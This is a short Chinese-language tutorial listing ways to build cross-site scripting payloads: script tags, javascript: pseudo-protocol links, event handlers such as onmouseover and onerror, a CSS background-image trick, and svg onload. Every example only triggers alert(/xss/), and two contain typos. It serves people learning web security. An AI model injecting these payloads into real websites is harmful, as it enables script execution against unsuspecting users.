XSS的构造
1.利用[<>]构造html/js
如[<script>alert(/xss/)</script>]
2.伪协议
使用javascript:伪协议来构造xss
如[javascript:alert(/xss/);]
可在超链接中填写
<a href="javascript:alert(/xss/)">click me.</a>
也可在<img>标签中.
3.产生自己的事件
在javascript中有许多的"事件驱动",在网页中会发生许多的事件(比如鼠标移动,键盘输入等),JS可以通过对这些事件进行响应,从而我们可以通过事件的触发JS函数,触发XSS.
事件种类
windows事件 对windows对象触发的事件
Form事件 HTML表单内的动作触发事件
keyboard事件 键盘按键触发事件
Mouse事件 由鼠标或类似用户动作触发的事件
Media事件 由多媒体触发的事件
如<img scr='./image.jpg' onmouseover='alert(/xss/)'>
引入一个图片,当鼠标悬停在图片上时,会触发xss代码
如<input type='text' onkeydown='alert(/xss/)'>
单行文本框的键盘点击事件,当点击一个键盘任意一个按键时触发xss代码
其他常用事件
onkeyup-->当键盘松开时触发xss代码
onclick-->点击时触发xss代码
onerror-->文件载入失败时触发xss代码
4.利用css跨站
利用css跨站,几乎不用,在ie6浏览器处可以触发
如
<div style="backgroud-image:url(javascript:alert(/xss/))">-->实际上也是使用的伪协议构造
5.其他标签以及用法
<svg onload="alert(/xss/)">
<input onfocus=alert(/xss/) autofocus>